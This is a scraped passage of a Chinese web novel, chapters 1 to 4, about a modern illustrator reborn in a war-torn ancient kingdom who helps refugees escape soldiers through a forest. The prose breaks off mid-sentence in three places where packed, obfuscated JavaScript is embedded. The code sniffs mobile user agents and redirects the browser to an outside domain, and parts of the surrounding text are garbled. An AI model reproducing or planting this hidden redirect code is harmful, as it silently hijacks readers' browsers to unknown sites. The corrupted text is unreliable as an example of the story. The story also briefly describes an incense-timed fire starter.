《穿越之这个画师明明超强却过分谨慎》 1. 第 1 章 穿越乱世 某人民医院内,人声嘈杂,医生护士来去匆匆。 “7号床病人心电监护仪显示心率过快,血压急剧下降,氧饱和度也在不断下降。目前已陷入昏迷,需要抢救。” 此时病床上躺着的江夏面色苍白,瘦骨嶙峋,浑身插满管子。 “快,建立静脉通路,准备肾上腺素”,医生冷静下达命令,护士迅速而有条不紊的穿梭着,气氛凝重而压抑。 尽管医生护士都在竭力抢救,可逐渐下降的各项指标依然表明一个生命在逐渐消逝。 “哔——” 心电监护仪里传出一阵刺耳的警报声…… 江夏感觉自己好像好像身处在一片混沌之中,周遭寂静黑暗,只远处隐隐透出的一点光亮。而在江夏伸出手触摸到光亮的瞬间,一股强烈的失重感袭来,猛一蹬腿,从昏迷中苏醒过来。 映入眼帘的是一轮血红色的残阳,还有半人高的灌木丛。一股刺鼻的气味冲入鼻腔,让江夏忍不住皱起眉头。这不是医院消毒水的气味,而是铁锈般的、浓得化不开的血腥味。 这是哪里?自己不是应该在医院吗? 不对,自己已经死了,那这里就是地府了。 江夏扶着旁边的大树靠坐起来,打量着着四周的环境。 只见这片密林中躲着不少人,这些人神情麻木,或坐或躺,时不时还传来一两声低泣。 “阿姐,你终于醒了”,一道稚嫩的童声响起,江夏循声抬眼望去,一个灰头土脸,浑身脏污的小男孩正抱着一个小陶罐朝自己跑来,在看清男孩脸的瞬间,江夏的头像是被针扎一样,眼前一黑,人又软软的倒了下去。 看到江夏倒下,男孩大惊失色,放下手中的陶罐,向着周围的人大声呼救,可那些人并没有向男孩伸出援手,反而呵斥他不要大声说话,免得又引来那群北狄士兵。 求助无门的男孩不知如何是好,只能紧紧抱着江夏的身体,口中不停喊着“阿姐”。 江夏其实并没有昏迷,她的意识还算清醒,能听到周围人说话的声音,但就是身体无法动弹。 在黑暗中,江夏如同看了一场第一人称的“电影”。“电影”中的自己名叫江月,年十三,是平安城和合酒楼掌柜家的女儿,一个被称为傻子的女孩,因为她一直坚称自己看到过仙境和神仙。 在仙境中,人和车都是可以在天上飞的,一日可行上万里。那里的人不用忍饥挨饿,房子高耸入云,城市即使在夜晚也如白昼般明亮,有着一按就可以看到人像的方形盒子,可以随时和远在他乡的亲人联系。而且女子可以上学,可以当官,可以自由的生活。 看到这里,江夏更是惊愕不已。作为在二十一世纪生活了二十八年的人,别人或许对这些描述感到不可思议,可她却知道这是实实在在发生在自己身边的事情。 可江月如何知道的? 在江月还小的时候,面对她说的这些话,别人只当童言童语,并不放在心上,甚至还有人打趣她父母怕不是生了个仙子转世,不然怎就她能看到。 可随着她的年岁渐长,那些虚妄滑稽的话就成了她是傻子的证明。整日高喊着男女平等,女子也应该接受教育,不安于室。连父母看她的眼神逐渐变得厌烦。 最让她父母不能接受的就是自幼聪慧过人的儿子江诚竟对她所说的话推崇备至。 江诚三岁启蒙,五岁便能作诗,这让江父江母感到欣喜若狂,觉得自家改换门庭指日可待。 可若让他姐弟继续接触下去,那儿子还有什么前程可言! 于是夫妻二人一商量,就将江月送去了城外的佛寺,既是为了分开俩人,也是为了保护女儿。因为夫妻二人认为女儿并非痴傻,而是染上邪祟才会变得如此离经叛道。将她送入寺庙,希望凭借佛门清净之力能够祛除她身上的邪祟。 在她被送入寺庙的第三年,庆州王叛国,联合北狄人攻下了大澧西北一带最大的城池——夏州,之后整个西北基本被其收入囊中。 而平安城所属的延州就位于大澧西北。攻下夏州不过数日,北狄派兵攻打延州,延州一个下州,兵力不足三千,未撑过一日便破了城。 北狄人生性残暴嗜血,入城后烧杀抢掠无恶不作。而江诚为给江月过生辰,北狄围城前一日,偷溜到了城外佛寺,一直待到晚上才返回。后回城路上看到北狄大军压境,慌忙返回佛寺,这才免于被困城中。 原本留在看管江月的仆妇听闻敌军来袭,丢下二人就慌忙跑了。姐弟俩收拾了些东西,再从寺庙里顺了些干粮就朝着城门的方向跑去。 不敢进城,二人就躲在城外的密林中,一呆就是两日。后从逃出来的人口中得知平安城如今已是人间地狱,百姓十不存一。 和合酒楼也早已化为废墟,江掌柜被北狄人所杀,夫人不甘受辱,撞柱自尽…… 逃出城的百姓引起了北狄人的注意,一队人马追杀出来,姐弟二人人小腿短,很快就落在了后面。眼看着就要被发现,江月将江诚藏在一个山坡的背坳里,自己则引开敌人,后不慎踩空滚落山崖,撞到头昏了过去。 “电影”放到这里就结束了,江夏的意识回笼,自己这是穿越了? 想到自己之前看过的一个帖子:“不同专业的人穿越古代会发生什么?”当时自己熬夜赶稿,脑子有些发晕,竟然真的无聊地评论了这无聊的帖子,并且这条评论还获得高赞,被大家广泛讨论。 自己说的是啥?好像是“靠画春宫图登上人生巅峰”? 呵呵! 江夏现在只想掐死自己,让自己穿越回去,再掐死当时满嘴跑火车的自己。要穿越也该让她穿到一个安定强盛的时代,为什么要穿到这个兵荒马乱的时代,她就是想画也要别人有命看啊! 可惜她上辈子已经死了,现在估计尸体都火化了,她回不去了。 强压下内心的烦躁,江夏睁开眼轻轻拍了拍江诚的手,示意他松开。 “阿姐,你醒了!你刚才吓死我了!”江诚满脸泪水,刚刚失去父母的孩子,现在对于自己唯一的亲人十分依赖,可他不知道现在在他面前的这个人严格意义上来说,也不是他的亲人了。 “我没事,你别哭了”,江夏的语气有些生硬,算不上温柔。作为独生女的她,并不知道如何扮演好一个姐姐的角色。 在江诚的搀扶下,江夏重新背靠着树坐了起来。 “阿姐,你渴不渴,我从那边的小溪里打了些水”,江诚拿起放在一旁的陶罐递到她的面前。 江夏皱了皱眉头,这种生水里不知道有多少的寄生虫,而且现在到处都在打仗死人,污染更是严重。 “不用了,我不渴。”江夏拒绝。 “那等你渴了再喝”,江诚抿了抿唇,失落的将陶罐放在一旁。这个聪明的孩子感觉到了自己姐姐对自己的冷淡,不知道自己哪里做错了的他,像个可怜小狗蹲在一旁,时不时抬眼看一下江夏。 通过刚才的那部“电影”,江夏也知道了原主与这个弟弟之间深厚的感情。对于这个唯一不厌弃自己,并十分相信自己的弟弟,原主对他也是极尽疼爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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极尽恶毒的咒骂,是这些无力抗衡的百姓唯一可以使用的武器。 “对了,江月,你看到过仙境,那有没有看过地狱,那些恶人是不是死后得上刀山下火海,以洗清身上的罪孽” 这些人绝大部分都是从平安城中逃出来的,对于江月的事迹都有所耳闻,曾经他们嗤之以鼻,可现在他们却希望她所说的一切都是真的。 那些人目光灼灼的盯着江夏,眼中满是期盼。江夏该怎么说呢,她不知道那些人死后会不会下地狱,她只知道她现在已经在地狱里了。 见江夏摇摇头,那些人微微失落,很快一个年轻妇人又问江夏,“那你说的那些仙境是真的吗?” 江夏点点头,这是真的,是她亲身经历过的。 “仙境既然是真的,那地狱应该也存在,只是江月身上没有罪孽才看不到的,她以后是要……去天上做仙女的”,年轻妇人肯定的说道。 “是啊是啊,一定是这样,江月不是仙子转世吗,当然只能看到仙境啊,怎么可能看到地狱” “没错,恶人才会下地狱” 应和声不断响起,仿佛真的看到那些北狄人死后的凄惨场景。这些人里或许也有心思不正之人,但这一刻他们都认为自己是无比善良无辜的。 江夏看着这些人三言两语间给自己安了个仙子的名头,十分无语。如果他们知道现在这具身体里的人并非江月,而是江夏的话,估计会把她当妖怪烧死吧。 2. 第 2 章 被困密林 “阿姐你真的是仙子吗?你以后是要回仙境的吗?那你能不能带着我一起啊?”,江诚轻轻拉了拉江夏的袖子,轻声说道。 “我不是仙子,我也不知道我能不能回到仙境,所以现在不能承诺你”,这是实话,江夏不知道自己怎么会来到这里,也不知道该怎么离开这里,而且在上一辈子她已经死了,尸体估计都被火化了。 “不管你去哪里,都带着我可以吗”,江诚的声音里开始染上哭腔。 江夏默默的看着眼前的小男孩,不过十岁左右的样子,放在上辈子也不过刚上小学一二年级,每天的最大的任务就是好好上学。可在这个时代,光是活着就要耗尽所有的精力。 “去地狱你也不怕?” “不怕,只要有阿姐你在,去哪里我都不怕”,江诚的小脸上满是坚定。 “你想跟就跟着吧”,腿长你身上,我还能不让你跟。后半段的话江夏没有说出口。 可即使是这样一句话也让江诚破涕为笑,自觉与阿姐的关系又回到原来,直接问道:“阿姐,我是不是哪里做的不好,惹你生气了?” 她勉强笑笑,“没有,只是我头疼的厉害,心情自然差了点” “那阿姐你赶紧躺下歇歇吧,我给你铺个衣服垫着”,说着就要拉开一旁的包袱,江夏赶紧打断他,“不用忙了,我这样挺好的,正好听听他们怎么说,你也别忙了,坐着歇会儿吧” 江诚乖巧的在她旁边坐下,和她一起抬头看着周二叔的方向。 周二兄弟几人常去和合酒楼吃饭,因此原主对他也不算陌生。 周二一家共兄弟三人,他排行老二,三人均长得人高马大。后来跟着一个绿林出身的老人学了点腿脚功夫,在平安城里开了间镖局,也不跑多远,就跑周边的几座州县。可惜天有不测风云,周三在一次跑镖路上染上风寒,久治不愈成肺痨,没熬过冬天就去世了。 之后就剩下周大周二两兄弟。平时镖局没有活计的时候他们俩也会上山猎点野物去卖,对平安城外的这片密林也很是熟悉。因此算是这次逃难小队的领导者。 而刚才所说的李木原主的记忆中并没有这号人,想来并不是平安城里人,应该是在原主被送到寺庙里后才来的。 那边周二与一个满脸络腮胡子的矮胖男人正在说话,那是城里的张屠夫。 “周大他们怎么还没有回来?不会被发现了吧?要不,我们去找一找”,张屠夫长得凶神恶煞,声音也如锣鼓般刺耳。 “再等一会儿。我们约好了,不管找没找到北狄军的大部队,在天黑之前一定要回来”,说着抬头看眼天空,原本如血的残阳此刻已经消失不见,天空只见绚丽的橙红色晚霞还在留下微弱的光芒。 “希望不要发生不好的事情”一些胆小的已经开始双手合十祈祷,更甚者还有人对着江夏开始参拜。江夏满头黑线。 太阳完全下山,林中树木枝叶繁茂,遮住了最后一丝光线,不知名的鸟叫声在枝头响起,气氛陡然变得阴森恐怖。有人想要点火被周二厉声呵斥住,“想死吗?现在北狄军还在林中,你点火是怕他们发现不了我们吗” 那人悻悻的放下手中的火折子,谄媚的对着周二笑,“这不是有点怕吗,这林子黑下来实在瘆人……” “你一个大男人怕什么怕!人家小姑娘、小媳妇都没说怕” 被怼了的男人不敢回嘴,默默往黑暗里挪了挪。 “咔擦”,有人踩碎了地上的枯枝落叶,声音一下子吸引了众人的目光。男人们纷纷拿起手边的武器,不论是木棍还是菜刀,警惕的看向声音传过来的方向。 “是我,周大”,黑暗中传来熟悉的声音,月光从枝头稀疏洒下,照亮来人的面孔,果然是周大和李木。 “大哥,怎么样?”周二首先迎了上去。 周大脸上的表情有些凝重,“我们跟着那几个北狄兵走了一路,听那伙人说,似乎留了三十人搜山,每五人一支小队,除了靠近城门的东侧,和西侧的断崖,每一个方位都有一支小队在搜查,我们如果想要从这包围圈中逃离,就必须突破一只五人小队,且不惊动两侧的小队” “这不难啊,就五人,我们这里可是有快二十人呢”,张屠夫自信开口,手摸向自己腰间别着的杀猪刀。 “你有把握一击成功,不引来其他士兵?你可别忘了那些人可是杀人不眨眼的恶魔,而且他们的武器可不是我们能比的”,李木说着,睨了一眼他的刀。 “你!”张屠夫大怒,猛一甩膀子,想要上前和他理论,周二赶紧上前拦在二人中间,“哎哎哎,有话好好说,别动怒啊”,转头又对着李木说道:“李木啊,你也是的,我们现在是一条船上的蚂蚱,张老哥也是好意出主意啊,你何必说话这么不客气呢” “哼”李木冷哼一声,扭头不再看张屠夫。 他这样子惹得张屠夫更是火冒三丈,冲着周大周二说道:“你看,这小子可没把我们当作是一条船上的蚂蚱,说不定啊人家心里早就想好对策怎么把我们扔下,好独自逃生了” “张老哥你这话就说得太伤人了,李木要是想要逃走,又何必跟着我哥前去打探消息,北狄人的残暴我们都是知道的,要是一个不小心,被发现了,那小命可就没了”,周二还在打着圆场。 “那不是有周大在吗,他一个小娃娃能做什么” “诶,你这话就太看得起我们兄弟二人了,我们那点功夫对付一个两个北狄人还能试试,五个是绝对没有胜算的” 江夏坐在一旁听着几人的争论,也察觉到了张屠夫与李木之间的不对付,低声询问旁边的江诚,“这张屠夫和李木之间是有什么过节吗?”,不然两人之间为何如此剑拔弩张。 “我听说李木之前向张屠夫求娶过他家女儿,张屠夫没同意” “为什么不同意” “还不是因为李木是逃荒来的,这边没有田地家产,张屠夫就一个女儿,怎么舍得嫁给他,跟着他吃苦” “这也可以谅解啊,毕竟父母之爱子,则为之计深远,李木因此就记恨张屠夫实在是不应该啊” “嗯……其实李木好像和张屠夫的女儿两情相悦”,说到这里,江诚偷偷瞄了一眼张屠夫,声音压得更低,“但硬是被拆散了,把女儿嫁给母舅家的大表哥,后来难产去世了” 这……,江夏一时不知该说什么才好,这就是后世面包与爱情的抉择吗?但最终她两个都没得到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668587|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好了,不要吵了。我们现在最重要的是商量出怎么从这林中逃出去,其他事等我们活下来后再说吧”,周大话一出,所有人都安静了下来。比起周二,周大显得更为成熟严厉。 “李木你既然不同意张大哥的想法,那你有什么好主意”,周大的声音很是沉稳,并不给人阴阳嘲讽之意,只是在询问他意见。 李木对周大也很是尊敬,收起脸上的散漫,正色说道:“我认为强攻并不可取,我方人数虽多,可实际可用之人并不多,一旦引来更多的北狄兵,想要全身而退基本不可能,所以应该智取” 周大点点头,显然对于李木的话很认同,李木备受鼓舞,接着说道:“我们可以到下半夜,趁他们疲惫休息时,制造动静吸引他们的注意,将他们引到其他方向,然后借此从包围圈中逃走” “是个好主意,可如何吸引他们的注意?我们又应该从哪个方向逃走呢?” “这……我暂时还没有想到”,李木挠了挠头,有点羞愧。 “没事,你已经想到一个很好的思路了,其他人还有什么更好的办法吗”,周大安慰他一句,随后眼神在这些人身上扫过。 “大哥,你还记得我们之前上山发现的那条栈道……”,周二突然开口说道。 “你是说那条二十多年前采药人的栈道。可那栈道年久失修,恐怕没法支撑我们这么多人过去”,周大思考了一下就否定了弟弟的想法。 “但那条栈道离我们这里很近,而且它靠近西侧的断崖,那里无人防守,是现在最好的突破口”,周二越说越觉得那条栈道是极佳的逃生之路,“而且那些北狄士兵并不知道这条栈道,我们将行走的痕迹抹去,那些士兵就算走到那边也发现不了我们。我们只要在栈道上等到他们离去,就可以找其他出路逃走。 如果大哥还是觉得不太安全,可以找一些藤曼绑在身上,再将另一头固定在铁钉上或岩壁的突起上” “可是……”周大还有些犹豫,这些人信任他才会跟着他一起,他需要对这些人的生命安全负责。 “大哥!现在不是犹豫的时候了,早点做决定,我们才能尽快采取措施,不然不知什么时候那些人就会找到我们这里” “周大哥,听二哥的吧,生死有命,即使真的活不下去,我们也不会怪你的”,李木率先开口,其他人也纷纷响应,“是啊,大哥,赌一把,就算掉下山崖摔成肉饼也好过死在那些北狄魔鬼手上” “好,那就走栈道”,周大一锤定音,“可我们如何将那些人引走呢” 原本气势高昂的人一下子如同被掐住脖子的大鹅,顿时安静了下来。 “我有一个办法,你们听听可行”,江夏开口打破了安静,众人纷纷看向那个半靠着大树的少女,即使月色昏暗,大家也能看清她那惨白的脸色。 “江月?”,周大蹙眉看向她,“你不会是想说你有神通,能够吸引那些人的注意吧” 周大语气毫不客气,可见他对原主之前神神叨叨一事记忆十分深刻。江夏也不在意他的说话态度,从之前的谈话中她能够看出周大这人心思沉稳,秉性正直,而且有领导能力,如果之后的路能够一直跟着他,她就不用太担心自身的安危了。 3. 第 3 章 逃离包围 “不用神通也可以做到的”,江夏笑着说道,“刚才周二叔阻止别人点火时说道,点火会引来敌人,所以不能点火。那同样我想引来敌人,我就可点火,不是吗” “是啊”,之前被周二呵斥的那人一拍自己的拳头,“江月你可真聪明,不过这点子你还是从我身上想到的,那我也不错嘛”,那人嘿嘿笑着。 旁边人狠狠拍了他一巴掌,“那是人家小月聪明,关你什么事,就你这脑袋,就是想破天去,也想不到这个办法” 周大走到江夏身前,盯着她问道:“可我们要将敌人引到栈道的相反方向,如果点烟引来敌人,点烟之人如何从敌人的包围中突破再来到西边。还是你想说让一个人留下自我牺牲” 周大这话一出,原本满是赞扬的看着江夏的热闹变了脸色,眼神中出现怀疑。 江夏忍不住皱眉,这个周大是不是对自己的态度有点太坏了? 按压下内心的不舒服,“可以制作定时点火装置”,看到周大又要反驳自己,江夏也不再卖关子了,直接解释道“我知道一种简单的延时点火装置,可用于定时引燃火堆、烽火等。 我们常说一柱香的时间,那如果用木棍固定一柱细香,在香的底部铺上松脂、干苔藓或干草等易燃物作为火绒,再用棉线固定火绒充当引线,将引线缠绕至香的末端。当香燃烧到末端时点燃火绒,进而就能点燃目标。如此我们就可以通过香的长短控制点燃的时间” 说完,江夏就直直的看向周大,想看他还能反驳她些什么。 周大也不负所望,说道:“松脂、干苔藓、干草在这森林中还算好找,可这香从哪里来?” “我有”,江夏打开一旁的包袱,从中取出用细棉布包裹着的一小捆香,递到他的面前。周大一愣,“你怎么会随身带着香?” “你忘了我这几年都住在哪里了吗?我常伴佛祖左右,身上有香又有什么奇怪的” 周大被江夏的话一噎,但也没有再说什么,接过她手中的香,吩咐其他人寻找其他材料,“现在估计是戌时,子时是人最为困倦放松的时候,我们就在那个时候点燃,所以我们还有不足两个时辰的时间,大家齐心定能成功” “是”一些人接过自己的任务,悄悄在四周搜寻,对于这些贫苦出身的人来说,在大山森林中找到这些材料并不难。现在是八月,松树还在分泌松脂,找到松树,在松树的向阳面砍出一个“V”字形切口,松脂就会顺着切口缓慢流了下来,在下方悬挂一个竹筒,轻轻松松就可以收集半竹筒的松脂。除了地上干枯的树叶也多的是,这就不用过多收集,到了地方再收集也是可以的。 将收集到的松脂交给周大媳妇她们,她们将搓好多细棉线浸泡在松脂中,为了更好的点燃,她们还拆了棉衣袖子里的一些棉花粘在上面。江夏和江诚两人坐在一旁默默看着,也不打扰。他们一个身体不好,一个年纪太小,所以没有给他们安排任务, 他们姐弟二人是在围城前就躲藏在密林中的,因此也成了这只逃难小队中唯一没有大人在身边的小孩。 江诚看着周大家的孩子此刻正躺在周大媳妇身边睡得正香,抽了抽鼻子,“阿姐,我想爹娘了” 感受到那小小一团的温暖靠自己越来越近,江夏身体瞬间变得僵硬,但也没有躲开,“想他们的时候就抬头看看天上的星星吧,听说人死后就会成为天上的星星” “爹娘不会去仙境吗?” “可能会吧。其实仙境也并没有大家想的那么好,在那里的人也是需要努力工作,他们也会生老病死,并没有永生的能力” “仙人也会死?”,江诚震惊的看向江夏。 “那些人可能并不是仙人,只是科技文明更为先进的一个世界,那里的人也如你们这般挣扎生活着,只是国家要更和平一些” “科技文明?那是什么?” “嗯……你可以理解为一种技术,就像种田,人耕地可以依靠锄头,可以依靠犁具,家境殷实的可以依靠牛,或许在更远的将来会出现取代牛犁地的工具。这就是技术上的一种进步,技术的进步可以解放人们的双手,那人们就可以拥有更多的时间在别的事情上,发展更多的可能。” “那是不是就是说我读书时,出现一个工具帮我读书,但它学会的东西我也都会,那我就可以有更多的时间去玩了” “呃……倒也没错,不过这个估计很难实现” 江诚看着江夏一直抬头看着星空,犹豫着开口问道:“阿姐,你想回到仙境吗?你能够看到仙境,他们也说你是仙子转世,你想回去吗?” “想……也不想”,江夏没有转头,依旧看着满天星河。夜色如墨,银河倾泻,星穹如同众神铺展开的缀满钻石的绸缎。是在二十一世纪的城市里很少能够看到的美景。 “因为我对那里没有牵挂,所以不想。但那里的生活比这里幸福,所以又有点想”,说着转头看向他,“很奇怪吧,人是很贪心的生物” “才不奇怪!追求幸福不就是人活着的目标吗?人没有目标怎么会有努力的动力呢!” 他的这句话让江夏感到吃惊,这明显不像是一个封建朝代下九岁孩子能够说出的话。 “这不是阿姐你之前常挂在嘴边的话吗?你说想要人们了解到女孩并不比男孩差,也应该受到同样的权力” 江夏再次对原主江月感到好奇,这个身处封建王朝的女孩却接受到了来自遥远未来的思想,并产生了超越这个时代的想法。可惜她早早去世…… “这次换我去” “不行,我功夫比你厉害,我去比你更安全” 那边的争吵声打断了江夏的胡思乱想。转头看去,原来是周大周二在争论谁去布置点火装置,他们二人是这里所有人中拳脚功夫最好的,也是唯一知道栈道位置的人,因此他们决定一人前去点火,一人带队前往栈道。可前者的危险性明显高于后者,而双方都不愿对方涉险,便造成此刻僵持的局面。 “大哥,你还有子安和嫂嫂,我就一人,我比你更合适去” 这句话让周大眼圈泛红,周二的媳妇没有从围城中逃出来,虽然弟弟没有表现得很伤心,可身为兄弟,周大能够感知到弟弟内心的痛苦,因为弟妹是为了替弟弟挡刀才死的。 周大拍拍弟弟的肩膀,相视一眼,不再言语。虽然计划的很好,可计划赶不上变化,谁也不知道会不会发生什么危险,一旦发生意外绝无生还的可能。 周二笑笑,拎起地上收拾好的东西,悄无声息地向着东边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668588|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走去。看着周二的身影隐入黑暗中,周大吆喝众人朝着栈道走去。 江夏身体还很虚弱,由江诚搀扶着,勉力跟着大部队向前走。夜晚的森林本令人害怕,加上没有灯光的照亮,根本看不清前方有没有路,一旦跟丢了,很容易在森林中迷路。 更关键的是,现在她的一举一动不仅关系到她一人的性命,还有这里十几号人的命。 等到一伙人走到那处栈道时,江夏的脸白的跟鬼一样,额头上冷汗不断滑落。 让众人原地休息,周大掏出一个火折子小心翼翼摸索着寻找栈道。李木也去帮忙,二人在悬崖边走来走去,看得人心都发颤。 突然李木欣喜的声音响起,“周大哥,我好像找到了,你来看看是不是” 周大走过去仔细与自己脑海中的记忆对比,确定的确是这里之后,让李木留在这儿看着,顺便找些藤蔓。他则沿着来路返回,他还要清除路上的痕迹。 被留在原地的众人提心吊胆,周二去了多时,现在还没有回来,也不知道那个点火装置能不能起作用。 而且周大也走了,如同失去主心骨,每个人脸上都是惶恐不安。 万幸一切顺利,周大周二前后脚回来,紧接着远处隐隐透出一点亮光,如同烧的滚烫的油锅里滴入一滴水,瞬间炸开。 “好小子,你这声势造的还挺大。”,看到火势越来越大,周大笑着锤了周二一拳,“怎么样,还顺利吧” 周二脸上也满是笑意,“挺顺利的,这松脂的燃烧效果真不错”,说着夸赞起江夏,“江月你这主意真不错” 江夏笑笑,“那我们赶紧走吧,小心一会儿那些士兵找过来” 二人收起笑容,让众人在腰间绑上藤蔓,沿着栈道往下走,可面对着黑漆漆、深不见底的悬崖,虽然对自己说前面有路,可那脚就像被粘住一样,没法前进。 “我先下”,李木拿着火折子,率先上栈道。 “不想死就快点跟上”,周大站在崖边催促道。有了人打头阵,又有两个男人跟着他往下走。 这边忙着逃跑,另一边火光逐渐变大,吸引了在林中的北狄士兵。他们招呼所有人朝着火焰燃烧的方向前去探查。 而在西南边搜寻的一队人也看到了那冲天火光。 “该死的,肯定是那群躲进林中的大澧人,真是找死。以为现在我们都休息了,就发现不了了吗?”一个北狄士兵恶狠狠地说道。 说完就招呼着其他同伴前去捉拿他们。 “稍等,我觉得不对劲”,一个年轻高大的士兵阻止他们,“那群大澧人并不愚蠢,尤其是他们领头的那人,更是有勇有谋,他们不会犯这样的低级错误,我更认为这是一种调虎离山之计” “呵呵,我们是北狄的勇士,怎么会害怕区区大澧蝼蚁。你不过与那人交过一次手,就被吓破胆了吗?你这样不如早点回家,找你姆妈吃奶去!” 此话一出,引得众人哄堂大笑,那年轻士兵脸色涨红,又羞又怒。 其他人也不管他,径直朝着亮光处走去。那年轻士兵看着几人越走越远,朝着地上狠啐一口,嘴里不知说了什么,眯眼看着那冲天的火光,若有所思的转头看向西侧断崖方向,随后抬腿朝着那个方向走去。 4. 第 4 章 生死一线 “快点,刘老三你在干嘛呢”,周二对着瘦弱的长脸男人说道,“二哥,我怕”,男子抖着腿站在栈道边上。 “怂包,不敢就滚一边去,免得挡着后面人”,张屠夫用力将他拉到一边,回头小心翼翼扶着自己媳妇往栈道上走。 江夏心跳的很快,一股不好的预感出现,轻拍了下江诚,“走吧”,示意他跟上张屠夫。 “哎哎,让我们先吧,我们这边人多”,一个年轻妇人上前挤进了江夏二人和张屠夫之间,是先前说江夏是仙子转世的年轻妇人。 江夏被妇人挤得一个踉跄,不得不往后退了一步,那妇人就趁机整个人站了过去,“快,快来啊,他们同意让我们先走了” 江夏无奈的撇了撇嘴,回头一看,好家伙,这一家人竟然有足足七人活了下来,真是了不起! “二柱媳妇,你这样不好吧,人家姐弟两个明明来得比你早”,周大媳妇忍不住出口替江夏姐弟二人鸣不平。 “周大嫂子”,二柱媳妇冲着周大媳妇笑笑,但却没有让开位置,“这丫头身体不好,现在又那么黑,万一不小心踩空掉了,那多危险,我们人多,帮她探探路。他们两个跟在我们后面更安全,真遇到危险,说不定我们还能拉她一把呢” 周大媳妇看着她那副无赖样,心中也是憋屈。这二柱媳妇是出了名的爽利人,家里家外的活计那是手拿把掐,就是人有点自私,好占小便宜。 江夏既不愿周大媳妇为难,也不想和张二柱家的人交恶,他们一家能从平安城中全员逃出,想必也是有些能力。而且自己还要和他们结伴同行,何必闹得不愉快,“没事,周大婶,就让他们先走吧,我们跟在后面也行。周大叔他们都能不顾自身安危为我们断后,我让一下也不算什么” “你这孩子也是懂事。周大那时说话态度不好,你不生气反而还记着他的好……” 听到周大媳妇说起自己提出办法时周大那有些恶劣的态度,江夏的好奇心一下子被勾起,“周大叔是对我有什么意见吗?” “也不是说对你有意见,就是他自己的臭毛病。他那人啊不信神佛,尤其讨厌鬼神一事……” 听到这江夏就明白了,可不信就不信,为什么这么仇视呢?江夏这样想的,嘴里也是这样问的。 “嗨,这不是老三那事闹得吗?老三当时肺痨,找了平安城中的所有大夫都说治不好,听人说青云观的符纸有用,死马当活马医了,就去求了张驱邪避疫的符纸回来化水给老三喝,可喝了完全不见好,反而愈加严重。后来来了个游医,替老三治疗时说如果不是那张符纸,老三应该还能再活一段时间……”,说道这里,周大媳妇抬手擦了擦眼角,“最后那游医也只能帮老三减轻痛苦,让他走的不那么痛苦。自那之后,他就再也不信这些了” “婶子别太难过” 周大媳妇很快就收拾好自己的心情,“唉,老三虽然死得早,但至少入土为安了,我们现在要是死了,那可是连个收尸的人都没有。这样一想死得早也没什么不好的” 心态真好!江夏在心中感慨道。 前面张家人快要全部踏上栈道了,江夏也准备拉着江诚上前,突然一声令人头皮发麻的尖叫声响起,紧接着就是女人凄厉的呼喊声,“小山!小山!” 这时正在森林中四处摸索的男人同样听到这声凄惨的叫声,立刻朝着声音的方向跑去。 站在崖边的众人顿时一惊,周大周二赶忙上前,“怎么了?发生什么了?” “是,是大柱家的大山掉下去了” “不是让他们绑着藤条吗,怎么还会掉下去” “是崖壁上的铁钉松了,没挂住……” 这一噩耗的传来,不少还在等着下去的人纷纷打起来退堂鼓,“要不……我们还是找个地方躲着吧,这实在是不安全……”,全然忘记当时的自己是如何的大义凌然,悍不畏死。 “现在除了这条路,我们已经无路可退了”,周大冷静开口,“我们点火引开北狄兵,那些人去了发现我们不在那边,就会明白被耍了,那时这片林子中的搜捕会变得更为严密。我们无处可藏……” “没错,你果然很聪明”,黑暗的森林中传来另一道声音。 众人回头望去,只见一个身穿北狄士兵装的高大男人走出来,“是你”,周大记得这个人,自己在城门口与他交过手。这人实力强悍,远不是他们这几人可以抗衡的,若是自己对这片森林熟悉,利用地形逃脱,想必那时就已经死在他的刀下了。 “大哥现在怎么办”,周二站在周大身边,眼神紧紧盯着那孤身一人的北狄兵,低声说道,“对方就只有一个人,我们应该能够杀了他” “每支搜查小队都是五人,现在只有他一个人来,要么是那些人藏在后面,要么是他们几人分开搜查了,但隔得应该也不会很远。我们要迅速将他控制住,否则他立刻就会招来更多的人” 周大看了眼四周,他们这边除了他和周二还有四个男人,六个人应该可以将他控制住? 只见那士兵轻笑一声,从怀中掏出一个黑色小巧、形似短笛的东西,放在唇边。 “不好,他要喊人!快阻止他”,周大大喝一声就朝着男人冲去,周二紧随其后。变故接连发生的太多太快,其他人反应不及愣在原地。 “上去帮忙啊!”江夏在一旁厉声催促道,没有周氏兄弟二人,这些人不知道死了多少次了。 其他人如梦初醒般,拿着木棍斧头之类的武器冲了上去,江夏赶紧护着江诚远离战场,还不忘提醒周大婶也离远点,小心被波及。 对面那北狄士兵虽只一人,但面对六人的围攻毫不怯弱,侧身躲过周大正面刺来的短刀,一脚就将围上去的四人中的一人踹翻在地,再抬手,手中的刀便挡住了周二的剑。手腕一转,手臂用力,周二便被震一踉跄。 